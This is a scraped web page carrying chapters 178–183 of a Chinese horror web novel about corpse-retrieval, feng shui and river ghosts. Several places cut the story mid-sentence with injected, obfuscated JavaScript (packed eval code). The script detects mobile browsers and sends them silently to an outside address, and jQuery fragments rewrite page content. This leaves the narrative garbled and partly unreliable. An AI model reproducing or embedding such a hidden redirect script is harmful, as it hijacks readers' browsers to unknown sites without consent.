苟驹嘴唇颤了颤,没吭声多言,径直走到院子角落一处,拿了两个笤帚过来,将一个递给徐湘灵。 两人便开始打扫起来。 我没有动手,这是苟驹家,徐莹是徐湘灵姐姐,他们两人做才有效果。 一边打扫着,苟驹一边扯着嗓子喊婆娘,晚上回来看看。 徐湘灵一样在喊,喊姐姐,不要总是过家门而不入。 一人悲怆,一人哀伤。 苟驹声音粗哑,徐湘灵话音悲凉,这交错的喊声,不知不觉间,就让人直起鸡皮疙瘩,本来刚才就下过雨,天色一直阴沉沉的,这会儿院内冷风嗖嗖的刮,没有被苟驹扫到的地方,树叶都给吹了过去。 我没吭声,静静的看着,更没有做出任何动作。 我知道,已经有东西来了。 第178章 来我家里玩呀 “走什么……不能走啊!这是我家,不能成了鬼……” 苟驹分外焦急,用焦头烂额来形容,丝毫不为过。 徐湘灵同样又急又恨,想要开口说话。 “听我的,走!” 我声音格外重,低吼声中,拽着两人往后退! 我的力气,绝对没有苟驹和徐湘灵大,只不过,我不光是喊他们,我眼神更带着深意! 徐湘灵放弃抵抗,跟着我往后退。 苟驹又挣了一下,像是后知后觉,打了个冷颤,同样跟着我后退。 三人出这老宅的瞬间,砰的一声闷响,门被严严实实的关上了。 我继续后退,不过并非直直往后,而是朝着斜侧,避开了苟驹门外的那条收窄到几乎消失的河道。 我并没有放松,将苟驹和徐湘灵也压着往那边退了十来步,才停下脚步。 此刻,怪诞的一幕发生了。 那不足半米宽,断流了的河,慢慢往前延展,慢慢的居然淌到了老宅的位置。 水流开始汇聚,老宅的周围多了一道一米宽的水面。 当然水位很浅,正在慢慢的升高。 老宅的门上多了一张雾蒙蒙的脸,那脸做出嬉笑状的表情,随后,又像是妩媚的咬唇,脸太模糊了,肌底就是黄褐色的木门,更让人觉得毛骨悚然。 “操……” 苟驹颤巍巍的骂了个脏字。 “那你来呀,这不是你做过的事儿吗?”门上雾蒙蒙的脸,嘴巴一开一合,奸笑声中,更带着女子妩媚话音。 “**的……”苟驹脸都白了,似要往前迈步。 我挡住了苟驹,微微摇头,声音低沉:“她在激将法,让你过去。” 徐湘灵同样挡住苟驹另一侧,没有再让苟驹往前。 苟驹没吭声,他只是眼珠子太红了,像是快溢血。 “跟我来。”我说完,径直再朝着远处走去。 走了相当远一段距离,并没有回徐湘灵家。 而是保持走在正常的路面上,最后停下来的位置,大概就是在徐湘灵家外十几米。 “小陈,你葫芦里究竟卖的什么药?你没考虑过,会回来这么个女鬼吗?”苟驹是终于忍不住了,低声问我。 “我等的就是她!”回答苟驹之余,我远远眺望苟驹老宅。从这个角度,只能模模糊糊瞧见房子的轮廓了。 苟驹一脸茫然。 我这才和苟驹解释了始末,包括我先前推断的那些结果。 鬼和人不一样,本质上,这女鬼不会和钱家有多大情感,否则钱家就不用准备那么多手段,直接将女鬼叫走即可。 既然没有叫,既然准备那么多,那就代表,钱家对此一样束手无策,必须用相应手段。 那我现在给女鬼画地为界,让她和凶宅落在一处,钱家还想要带走她,就没有那么容易,就得破坏符契。 破坏鬼的符契,就相当于拆鬼的坟。 都要拆鬼的坟了,鬼会不会翻脸? 钱家还想悄无声息做什么,现在就根本不可能,他们会自讨苦吃! 我解释完这一切。 苟驹都愣住了,他似是消化了半晌,才将我所说的一切都捋顺,咽了一口唾沫,喃喃道:“小陈,你脑子什么做的,怎么这么好使?” “这**,对,那江边不就安宁了?我们不就能去了?”苟驹的脸上都多了几分惊喜! 很显然,苟驹认为,女鬼去了他家老宅,那岸边就安全了。 “不是你这么分析的苟叔,老宅门口的水位上升,对那女鬼来说,相当于阴阳宅连通,她可以不管白天黑夜,或是在老宅内,或是在破天心水的江域。”我解释。 “这……那不是瞎搞吗?”苟驹脸色再变了变。 “姐夫,我都听明白了,陈先生的意思是,只要钱家动手,就会和那个女鬼斗起来,鬼不是当年的人了,一旦斗,钱家就要吃瘪,我猜测,陈先生应该是想等钱家动手,并且吃亏的时候,我们一样在江边动手捞尸,就能避开钱家,将姐姐捞起来。” “这件事情既分开了,免得和钱家碰上,又算是给当**情一个教训!”徐湘灵认认真真的说出她的推断。 徐湘灵前边儿的分析是对的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573622|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于给钱家一个教训? 这事儿我的确没想过,只能说阴差阳错让徐湘灵这么认为,达到了这样的效果? 苟驹深呼吸,重重吐了好几口浊气。 “是这样……小陈你有心了……” 苟驹的眼中透着感激。 徐湘灵一样如此,眼眶里边儿有水汽晃动,泪花在闪烁。 “暂时不能回徐姑娘的院子了。”我提了一口气,说道:“这位置靠着江水太近,那女鬼能进去,我们要去个隐蔽的地方,最好能让别人发现不了我们,我们却能一直观察着破天心水的江域,看那里是否有人,他们是否离开。” 这番话,我算是拉开了先前的话题,切入了正题。 “这……”苟驹稍一思索,才说:“那怕是很难了,不过,如果去江对岸,那里有个旧灯塔,拿上望远镜,还是能看见的。” “就那个位置,很好!”我果断回答。 “我去撑船,你们往前边儿等我。”苟驹指了指徐湘灵院子外,窄小河道上的船。 “我去吧苟叔,你们往前等我就好。”我开了口。 没等苟驹多言,我便拿起了仕金盘,朝着那方向走去。 对于苟驹和徐湘灵来说,去河边都算危险了,搞不好那女鬼就在水里等着。 我不一样,我有仕金盘,仕金盘算是镇物。 很快就走到水旁,我上了船之后,一手持着船桨撑着水底,推动船往前,一手端着仕金盘。 果不其然,仕金盘簌簌转动着,甚至发出轻微声响。 第六感给人一种芒刺在背的感觉。 我回头看一眼,本来我就在船尾,大概两三米外的水面上,站着一个赤条条的小女孩儿,她脸色苍白,面无血色,身上也格外白,她发出细细的嬉笑声,还冲着我招手,微微张开的嘴巴,露出细小的鬼齿。 “来呀,去我家里玩呀,你身上不也有个鬼姐姐吗?” “姐姐好,我和姐姐一起伺候你呀。” 小女孩儿舔着嘴唇,脸上细密的鱼鳞在水波和月光的映射下,更让人双腿发寒。 第179章 猪头 她口中的鬼姐姐,就是另一部分白姝灵的魂魄了。 她居然还能发现白姝灵的这一部分魂魄…… 她比我认知中的恐怖,还要更恐怖几分。 还有,这女鬼一定得除掉。 钱家如果带不走她,我后续都得用其他手段,把她镇住,否则她一定会盘踞在此,无度害人! 仕金盘相当于镇住了这条船,因此小女孩儿没有靠近,她就只是站在水里,半个身子冒出水面。 我距离越来越远,她的手就抬了起来,像是同我道别。 船撑出去了得有几百米,快要汇入天沧江时,路边匆匆走出来两人,正是徐湘灵和苟驹。 两人跳上了船,苟驹接过船桨,徐湘灵小心谨慎的说:“你没事儿吧陈先生?” 我摇摇头,说:“怎么会有事儿呢?” 徐湘灵松口气,轻声回答:“那就好。” 苟驹撑船的速度很快,三两分钟,我们就进了天沧江的主流江域,没有往上游走,苟驹径直跨越江面。 上游破天心水的位置还是很远的,根本瞧不见我们。 钱家没有千里眼顺风耳,更不可能发现我在苟家老宅做的一切。 他们,要吃大亏了! 江面当真是宽,再加上水流略有一些湍急,船身被冲的一直歪斜,苟驹忿忿的说了句:“得换带发动机的,你这妮子不懂得与时俱进。” 徐湘灵不作声,是要去拿船桨。 苟驹自没有给她,又说:“我又不是不行,我只是说那样比较省力。” 徐湘灵抿了抿唇,还是没搭话。 总算,我们横跨了江面,苟驹这才往上开始撑船。 七八分钟后,到了一个码头处。 这码头很陈旧了,栏杆都早已锈蚀,荒废多年,几艘破破烂烂的船只停靠于此,里边儿蓄满了锈蚀的脏水。 码头旁边还有个极高的灯塔。 天色很黑,很暗沉。 我从这位置眺望对面,隐约能瞧见一棵树,不过,那树已经特别小,树旁有没有人根本看不见。 江面始终太宽了。 “对,正对着过去,就是那地方了。小陈你等会儿先,我喊了队里头其他几个弟兄过来,还带了望远镜,那样你才能瞧清楚情况。”苟驹说着。 我点点头。 天太黑了,现在瞧不清楚是否有人,白天肯定看得见。 是得进入灯塔里边儿,才能确保隐蔽。 个把小时左右,捞尸队的人来了,五个人只用了两条船,发动机的船,果然比撑船桨的快得多。 其中一人交给苟驹一个望远镜,苟驹给了我,同时指着灯塔,示意我们过去。 灯塔的门用一把铁锁封住。 苟驹轻而易举的同卜刀撬开。 不多时,众人全都上了灯塔最顶端。 这里的确荒废太久了,空气中都飘散着一股霉味儿。 我走到正前方一个的窗口处,用望远镜看过去。 开始在江边的黑,更像是**水映射,导致看不清晰岸旁,现在用望远镜,再加上位置变化,月光照射之下,便能瞧清楚一切。 柳条随风晃动,岸边当真空无一人。 只不过随着江水的涌动,江风的吹拂,水面隐约露出一些尖锐,就是水下的石尖,破天心水风水局形成的关键。 时间,一点点的过去,我就一直在这里站着,保持眺望远处。 隐约能听到苟驹说一些话,是关于他的家事,捞尸队那些人听着,一个个气势凶狠极了。 甚至有人低声骂骂咧咧,意思是真想弄死钱家这帮龟孙。 苟驹才说:“有小陈弄他们呢,这不,他们玩儿阴的,小陈比他们更阴。” “怎么能叫更阴呢,应该是相应的手段吧?”徐湘灵小声开口,纠正了苟驹。 “啊对对,小灵说的对,是相应的手段,不过没事儿,小陈不在意这些。” 苟驹笑呵呵的说着,心情明显是好多了。 “有人来了!”我瞳孔微缩,哑声开口。 苟驹等人立即走到我身旁,不过望远镜只有一个,苟驹是想拿,又不好拿。 我自没有交给他。 苟驹看不出来什么名堂,我才能看出蹊跷。 江边,稍远处,田埂地里头,摸出来了几个人。 他们腰背伛偻,就像是偷偷摸摸爬出来的。 几人站在一处,似是在合计着什么。 我心头微沉。 “小陈,看到什么了?”苟驹耐不住,问我。 “几个人,藏匿在暗处,我看,这就是危险了。” “他们藏了不只是一两天了,我走那天发现的人,就是他们其中之一,之前夜里那小鬼来提醒,一样是因为他们!” “他们,是在等我们,等我们过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580130|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “钱家不光是要那女鬼,还顺便想整我们一下。” 我哑声开口,说出了自己的判断。 我知道钱家可能留下手段,可我没有想到,居然还安排了人,那就不光是手段,等我们出问题,这些人还要落井下石? 阴差阳错,现在成了我布局手段,以彼之道,还施彼身了。 “娘希匹。”苟驹骂了句。 我做了一个嘘声的动作,没有再说话。 苟驹便安静下来,其余所有人都大气儿不敢喘一下。 视线中,江边一共有五人。 这五人中,其中有一个穿着花花绿绿,明明是个男人,那打扮像是个老婆子似的。 几人似是在等待着什么。 就这么干等了十几分钟。 那老婆子似的男人,从怀里摸出来个东西,看上去像是一根绳子。 他走到江边,口中念念有词。 当然,我只能看见这动作。 下一刻,他将绳子甩进了江水中。 绳子,绷得笔直! 随后,男人用力往上拉拽,一边拉,他神态还显得很紧绷! 另外四人快速围到了男人身旁。 那男人,仿佛在和水中某个东西角力! 又过了两三分钟,我瞧见格外惊悚的一幕。 水中的确有东西被拉起来了。 是一颗头。 月光照射在那颗头上,那是一颗硕大的猪头。 猪耳一扇一扇,我只能瞧见后脑勺摞起来的头皮,瞧不见前边儿。 总之,猪头飘在江面上,恐怖极了! 那男人似是受惊,想要后退。 不过,他忽然又猛然往前一窜,要冲进江中! 他,神态惊慌。 他,还是坠江了! 猪头快速下沉,那男人沉入了江水中…… 我一阵胆寒。 那颗头,是苟驹他们买来的祭品头。 那男人的绳子有问题,应该是能针对那女鬼,能将女鬼拽出来。 女鬼不想出来,所以,那男人就下去了! “应该要死。”我喃喃说。 “谁?!”苟驹语速飞快。 我没有放下望远镜,形容了那男人的穿着。 没想到苟驹话音都发颤,说:“好!是他!死得好!一定得死!小陈,你帮我报大仇了啊!” 第180章 捞尸开始! “那是神婆!骗姐夫用符害死姐姐本身女儿,再让女鬼能借体还魂的神婆!”徐湘灵几乎是咬牙切齿。 我瞳孔微缩,死死攥着望远镜。 神婆…… 果然,钱家的人不简单啊。 当年这神婆能骗过苟驹,能让苟驹亲手在徐莹的身上下符,可想而知此人的本事多大。 那时候,苟驹就被他**于股掌之间。 如果我们去河边,会发生什么可想而知。 怪不得,徐莹都会大中午的时候回到徐湘灵院子里来报信。 她再怎么不想面对苟驹和徐湘灵,都不会想他们两人出事的。 “他没有浮上来吧?”苟驹哑声再问。 我一直观察着江边。 江畔另外四人焦急无比,却不敢围过去。 江面的猪头朝着下游的方向飘去。 那四人焦急无比的追着猪头,没多久,就彻底消失在了望远镜的观察范围中。 “我感觉是上不来了,他用了一根绳子,应该是想将女鬼从江里套上来,结果拉上来一颗猪头,他沉江之后,那颗猪头已经飘走了,看方向,应该是要去你家老宅,果然不出我所料,鬼不是人,钱家想带走女鬼,女鬼一样抵触。” “同行还有四个人都被引走,如果他们进了老宅,必然凶多吉少!”我这一番话,语速极快。 再度挪动望远镜,视角回到刚才的位置。 江边安安静静,此刻空无一人。 心,开始砰砰直跳,额角,开始淌下汗珠。 放下望远镜,我哑声道:“这就是时机了,钱家人被打了一个措手不及,钱家其余人想知道此间情况,就得等其余人回去报信,他们被女鬼引走,手机不会有信号,就不能打电话,他们,应该不会放弃那个神婆,神婆应该没有完全沉江,或许,他就在江面下方一些,否则猪头走,这几人干嘛那么急匆匆的跟上?” 我这一番推断,至少在我自己看来,是逻辑自洽的。 “那现在就过去?可以捞尸了?!”苟驹的语气带着一丝丝激动。 徐湘灵同样眼巴巴的看着我,是在等我点头。 这一天,他们两人已经等了太久太久。 “少了一点儿时间,让我好好观察风水,钱家乱插一手,算是破坏了一些计划,不过,本身两个风水凶局的压迫下,苟叔你这一辈子就充满了变数,充满了厄难,能够熬到这会儿,已经算是不易。” “计划没有变化快,而很多事情,当成在变数之中!”我喃喃开口。 “小陈啊,你要急死你苟叔!说点儿我能听懂的啊!”苟驹急头白脸的催我。 “走。”**脆利落的一个字。 苟驹扭头看向其余五人,掷地有声:“听见了吗!走!把我婆娘捞起来,老子这几年捞尸队挣的钱,全拿给大家分了!以后干的钱,大家都平分!老子办捞尸队,就是为了婆娘上岸回家!事儿要是成了,老子欠你们所有人一个人情!” 苟驹这话的分量,就格外大了。 人情先靠后,就说他这几年赚的钱,得有多少? 一小部分拿出来,就能让捞尸队这几个汉子卖命,他还是拿了大头。 “操!”其中一个汉子朝着地上啐了口唾沫,说:“搞什么钱不钱的事儿,自家兄弟,能光说钱吗?” “今儿个,要么把我们命全部撂进去!要么大嫂给你抬出来!拼了!”另一个汉子更是言之凿凿。 一行人雄赳赳气昂昂的下灯塔。 苟驹满脸涨红,眼珠子更是微微冒着血丝。 没几分钟,我们就上了岸边的船。 徐湘灵本来要去撑船,苟驹招了招手,说:“你还撑船呢?就你那点儿手劲儿,进了乱流,要不了几下就顶不住了,省着力气,说不定等会让你帮大忙,就用这些船!” 徐湘灵总算作罢,没有上她的普通捞尸船。 我们总共有八个人,四人一条船,刚刚好,一点儿都不用拥挤,这船要比捞尸人的普通木船宽大,稳重,根本不惧江水横推,径直朝着对岸驶去。 月光,更是带着一种说不出的清冷,江风正在带走身上的每一丝热气。 比撑船的速度至少快了两倍,我们的船,到了对岸江边。 当然,没有直接进那团有着乱流涌动的江域中。 风,太大了,江水太湍急,隐隐约约水下的尖峰会露出一些,更让人觉得心寒。 上一次,苟驹跟着我和徐湘灵上船,我们其实就找到了捞尸的位置。 只是,一直耽误到了现在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我专心致志,徐湘灵同样谨慎至极的看着苟驹等人。 那条捞尸船,缓缓避过尖砂,慢慢朝着柳树枝条前方的那个位置驶去。 水面上,拉长了好几道人影子。 苟驹在内,应该是有六个人。 可水面上的影子,怎么好像有七团? 第181章 蛙泳的孩子 水中影子是很模糊的,尤其是船还在动,影子就在乱动。 仔仔细细多看了一会儿,我又发现,好像是自己看花眼了,影子就是只有六团? 这里就关系到了一个常识。 人的名,树的影,鬼无形无质,没有影子。 打小的时候,爷爷和我爸都教过我,晚上不能出门,容易看到没有影子的人,一旦贸然出去看见了,得朝着对方吐唾沫,然后赶紧往家里跑。 我稍稍松了口气,心头没有那么紧绷了。 自己始终是太谨慎了,才导致整个人像是绷紧的弦。 不多久,苟驹等人就到了先前我定好的那个位置。 五人开始准备下水,他们率先下了锚,定住船只。 苟驹往手心吐了口唾沫,用力搓了搓,同样准备着下水。 噗通噗通的声响中。 五个汉子全部下去了。 苟驹谨慎无比的看着水面,一时间,江边的氛围变得十分凝滞。 一分钟……两分钟……三分钟…… 水面安安静静,没有任何动静传来。 苟驹的脸色,开始变得紧绷。 徐湘灵开始还能沉得住气,这会儿,她一样有些绷不住了,眼中透着一丝不安。 再过了两分钟,徐湘灵不自然的说:“这不对劲……” 不光是徐湘灵,我一样觉得不对劲起来。 人在水底下憋气的时间,一定是有限的。 他们是捞尸队的人,肯定比正常人强,这合情合理。 只不过,这也太久了吧? 总要上来换口气? 连换气都不用,出事了? 又是噗通一声,居然是苟驹跳进了水里,直接往下沉去。 “开船过去!”我语速飞快的和徐湘灵说。 “好!”徐湘灵是在佯装镇定,她操控着船只,朝着苟驹他们停船的位置靠近。 我们也花了几分钟时间,才总算到了那条船旁边。 哗啦一声,水面破开,冒出来个人脑袋。 是苟驹,而并非其他人! 苟驹大口大口的呼吸着,脸色煞白极了。 “出事了小陈!” 苟驹声音更难听,更悚然。 我心知,就是出事了。 否则怎么会是苟驹上来,看苟驹这样子,他一样是憋气到极限了。 “**!?”徐湘灵的脸色同样白了。 “什么就****……你这妮子,能不能说点好话?”苟驹瞪了他一眼。 “水底下怪得很,这些尖砂,都像是一个个锥子,柱子,那五个弟兄,现在围着一根柱子不停的转圈儿,就和鬼打墙了似的,再多一会儿,怕就要被水憋**,现在弄上来,还有得救!”苟驹立马和我说道。 我重重吐了口浊气,毫不犹豫跳到苟驹他们那条船上,蹬蹬蹬走到了靠近苟驹的位置。 毫不犹豫,我直接跳进了水里。 “陈先生!”徐湘灵喊了我一声。 我没有回答她,埋头,就朝着水下游去! 苟驹一个猛子扎下来,他拽着我一条胳膊,快速往下游。 水中的光线太暗了,正常来说,是不能视物的。 苟驹在腰间一抹,一股光束照射出来,我才发现,那是个水下电筒。 果然,干捞尸这一行,苟驹专业。 入目所视,我瞧见了近处有一块黑色的阴影,这就是尖砂。 所谓尖砂,更像是小山,存在于水中的小山。 当小山足够大,冒出水面足够多的时候,这就不叫尖砂了,而是湖心岛。 风水上,湖心岛往往都是生气盎然,聚财之所。 很多旅游景点,很多公园,都在湖心岛上。 甚至还有一些庙宇奇观。 我犹记得有一座佛庙,就处于水中,千年都没有遭受过水患,没有被淹没,更没有倒塌。 当然,那是完整的湖心岛。 尖砂未曾出水,相当于被水压了一头,某种程度上,砂是阳龙,水是阴龙,阴阳相互交融,形成风水。 阳龙不出水,就会变凶龙死龙,这就是恶劣风水。 破天心水,便是因此而形成! 阴龙属阴,死龙属死,阴死之地,祸患无穷! 我这番思绪间,苟驹拉着我沉下去至少十几米。 目光所及,这尖砂大约有三米多宽,就像是一个巨大的尖柱子。 那五个捞尸队的汉子,显得十分诡异,他们双手在摆动,双腿一样在摆动,就像是婴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我不清楚大概在水里有多少米,总之,在我们前方,有个孩子,正在水里不停的游着,他就像是青蛙一样,绕着一个位置打转! 第182章 徐莹 本来水下的能见度很差,全凭苟驹的水下手电,我才能视物。 那孩子明明距离我们很远,明明周围不应该有光,可偏偏,那里的光源很多,就像是月光穿透水面照射在那孩子的身上。 削瘦的胳膊腿,赤条条的身体。 是个小男孩儿! 是……男孩儿? 是……那个来找苟驹的男孩儿! 是那个托梦告诉我不要来河边的鬼! 我不光是头皮发麻,人都麻了。 徐湘灵脸色愈发惊悚,还是直愣愣的看着前方。 我还发现另外一个蹊跷之处。 就是这小男孩儿的游动方式,居然和那几个捞尸队的人如出一辙! 他们,是因为被小男孩儿迷惑了,才会围着那尖砂柱子游动? 斜下方,苟驹停下来,正在给我们打手势。 徐湘灵同样打了一个手势,苟驹立马扭动身体,是看向我们正看的方向。 怪诞的一幕发生了。 那小男孩儿,不见了。 前一刻他还游着呢,这一瞬,就消失不见,那处位置空空如也。 苟驹疑惑的双手托起,外扩,这动作代表着不解。 我定了定神,摆动身体,朝着苟驹游去。 水底下无法说话,无法交流,苟驹不知道我们看见了什么,我们只能先跟着苟驹游到那尖砂柱子的位置,将最后两个人救下来,再度返回了水面。 先前的三人都缓过来了,他们坐在船里头粗喘气儿。 这两人没有自己醒来,靠着苟驹和徐湘灵托着出水,另外三人将他们拖上船,开始按压胸口,使得他们一口一口往外吐水。 “是那个鬼……”徐湘灵分外不安的开口。 “什么鬼?”苟驹不明所以。 我看那两人没有大碍,虽然昏迷,但是脸上没有显露出什么暴毙,或者水厄的相格,才堪堪松了口气。 随后开口,接上了徐湘灵的话,回答了苟驹的问题。 “那个小男孩儿。应该就是它困住了这几个大哥。” 解释之余,我扫了一眼船上五人。 三人依旧在救人,不过,脸上多有几分不安。 “是他?我这暴脾气了,合着说不要去江边,他就是危险?操!”苟驹爆了一个国粹。 “古怪,他没有想**。”我再度摇头。 事情就摆在这里,要是那小男孩儿想**,直接让这五人沉水底就好了,让人绕着柱子游个不停,又有什么意义?他想表达什么? 那尖砂柱子有什么问题? 毕竟,小男孩儿帮过我们,提醒过我们,他的所作所为,就引起了我的深思。 苟驹没吭声,只是眼中思索,眉头紧蹙。 徐湘灵面露不安,低声说了句:“不要让他们下去了,他们恐怕招架不住,只是靠命硬捞尸的普通人,没有真正捞尸人的本事,姐夫,得我们下去,陈先生来指点,才能规避危险,将姐姐捞上来。” 苟驹点点头,看向我。 “嗯,就这样办吧。”我重重吐了口浊气。 实在是想不到那小男孩儿的目的。 如果说那尖砂柱子有什么问题,也不是现在我能考虑的。 重中之重,要先将徐莹给捞上来。 这时,另外那两人开始咳嗽,有着要醒来的迹象。 “你们几个就在这里等,娘希匹的,我们下去!” 苟驹交代完了,就一个猛子朝着水里扎去。 我和徐湘灵立即就跟了上去。 就在这个位置,苟驹不停的往下游。 徐湘灵拉着我,勉强倒是能跟上。 一晃眼,我们下去了少说得有二十米? 耳朵传来一阵痛感,是水压太大,我手捏着鼻子,用力鼓气,直至听到耳朵发出轻微的嗤声,那股痛才有所减缓。 天沧江的水位,太深太深,我们还在继续往下游。 耳朵的痛越来越强烈了。 人能承受的压力有限,再往下,我就要承受不住那水压。 终于,视线中瞧见了江底。 江底大部分都是光秃秃的,一个个尖砂柱子拔地而起,朝着上方延展,在我们这个位置,水中的阴影就给人一股更浓厚的压迫感,让人心头分外阴霾,还有一种喘不上气的窒息。 我感觉到自己憋气快到极限了。 恰逢此时,徐湘灵忽地从腰间取出来一物,看上去那像是个布囊,鼓鼓胀胀,又像是个气球,质感很厚重。 徐湘灵咬住其上一个小口,一手捏着鼻子,作势,是用力吸了一口气。 随后她松口,鼻子咕嘟咕嘟的跑出一串气泡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一股水流冲刷而过,我脚下斜前方大约一尺远的距离,河床被冲开,曝露出来一张脸,一张苍白,死寂,又白中带着一丝青色的**脸。 她,就是徐莹! 第183章 来找老子啊! 有很多人走到某个地方会忽然说,呀,这地方我梦到过,我很熟悉。 这叫做风水,这叫做气场。 在特殊的风水局中,**之后的怨气就会汇聚。 就像是新闻上说某某地方,有人能瞧见晚上有人行军打仗,其实那个地方,以前还真就是古战场,**成千上万的人,怨气萦绕不散,直到现在都能被人瞧见。 徐莹的怨气就太重。 虽然比不上那种地方,但是我站在恰好的位置,恰好就能感受到她临死之前的一幕。 那女鬼最后出生了,不光如此,她尝试着往水面游去,想要活下来。 当然,最后她没能活下来,一样死在这里。 因此,徐莹被困在江底,那女鬼能到岸边,能荡秋千。 当然,这后者,恐怕还是和钱家有关系。 我在思索,苟驹已然瞧见了徐莹,他哆嗦的蹲下身,开始挖徐莹身上的沙子,徐湘灵换了口气后,又将那猪尿包递给了我,我同样换气,随后就等他们。 很快,徐莹的尸身被刨了出来。 我呆愣住了。 不光是我,苟驹,徐湘灵全部都呆愣住了。 徐莹怀中还依偎着一个瘦瘦小小的孩子。 这是个男孩儿! 虽然他很小,但是看上去,依旧和苟驹,有着几分相似? 看鬼,很难确切的看出长相,鬼本身无形无质的,是魂魄和不散的执念聚拢而成。 因此,鬼看上去是鬼,大致还是雾蒙蒙的。 直至看到这个小男孩儿。 我才确定,来敲门的是他,让我们不要到江边的是他! 可不对劲啊! 徐莹明明生了一个女儿了,女鬼借体还魂,死在水里。 怎么还会有个儿子!? 龙凤胎!? 我刚想清楚这些,苟驹已经掏出绳子,开始拴住徐莹的手脚,他的动作很快,他的眼珠子瞪得很大。 这里是江底,这里全都是水,看不出苟驹是不是哭了。 可我觉得,他应该是在哭,因为徐湘灵都捂住了嘴巴,神态显得十分痛苦。 因为,就连我这个旁观者,想到徐莹生的是龙凤胎,我都压抑而又难受,像是心脏被攥住了似的。 那徐莹是什么时候晓得,自己肚子里还有一个孩子? 是她成了鬼之后,是这孩子成了阴胎,继而出生之后? 我忽然又想到了一个点。 徐湘灵说过,徐莹死后,就天天站在水中,死而不倒。 正常**的人,还会有死倒一般的怨气吗? 她是自己想死的,会那样,必然是有更大的怨恨冲刷! 腹中还有个孩子,就是怨恨的来由! 此外,徐湘灵还说过,除了女鬼,这里还有个小鬼,谁都看不见,会将人往水里推! 不就是这小鬼!? 我思绪很快,不过是转瞬之间。 苟驹已经将绳子拴在胳膊上,朝着上方游去。 我这才算是第一次瞧见,捞尸人是怎么捞尸的! 随着苟驹往上游,随着他的胳膊摆动。 徐莹的手脚就在摆动。 她就像是活过来了一样,在水中翩翩游动。 徐湘灵一把抓住我肩头,带着我往上游。 不多时,我们上了水面。 苟驹开始用力拉拽绳索,我和徐湘灵上来后,徐湘灵一起去帮忙。 月光好苍凉啊。 苟驹眼中好悲伤。 眼泪,一串一串的往下掉,啪嗒啪嗒的落在船里。 徐湘灵同样悲怆痛苦,她抽泣着拉拽绳子。 其余五人在另一条船上,一时间只能干跺脚,没法帮忙。 清脆的巴掌声忽然响了起来,像是一双小手在用力拍动。 嘻嘻嘻的笑声在江面回荡。 我一个激灵,看向江边。 江边空无一人。 只不过那棵柳树上,用柳条编织成的秋千,正在用力的摇晃。 秋千上站着一个小男孩儿,至多三岁大小,他不需要用手抓,都能站稳。 他正在用力的鼓掌! "**的……有鬼啊!” 捞尸队中,有个汉子惊悚的喊了一声。 其余四人立马扭头,顺着我看的方向,连带先前那人,全都盯着柳树秋千。 哗啦一声,是苟驹将徐莹的尸身拖上了船身。 一时间,船都往下沉了沉。 直挺挺的,徐莹的尸体立了起来! 好冷的月。 好冷的尸身。 她怀中空空如也,先前还在的小男孩儿尸体,消失不见了! 那小男孩儿去哪儿了,已经昭然若揭! “操谁的妈?”苟驹猛地扭头,瞪了那骂人的汉子一眼。 “这……”那汉子一时间都不明所以起来。 其余人面面相觑,有人咽了口唾沫,才说:“陈先生,您发发神通,把小鬼弄走啊……捞尸也成了,可别出什么事儿才好!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593539|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我没吭声,依旧盯着秋千上的小男孩儿。 “姐姐要**啦,姐姐好凶,让人好怕怕。” “姐姐恨妈妈,姐姐恨爸爸。” “有人把姐姐钉在柳树根儿下。” “我拉了姐姐一把,嘻嘻嘻。” 充满童稚的话音,更在江边回荡。 这一番话,更让我心惊,更让我错愕。 这小男孩儿口中的姐姐,必然就是一母同胞的那女婴。 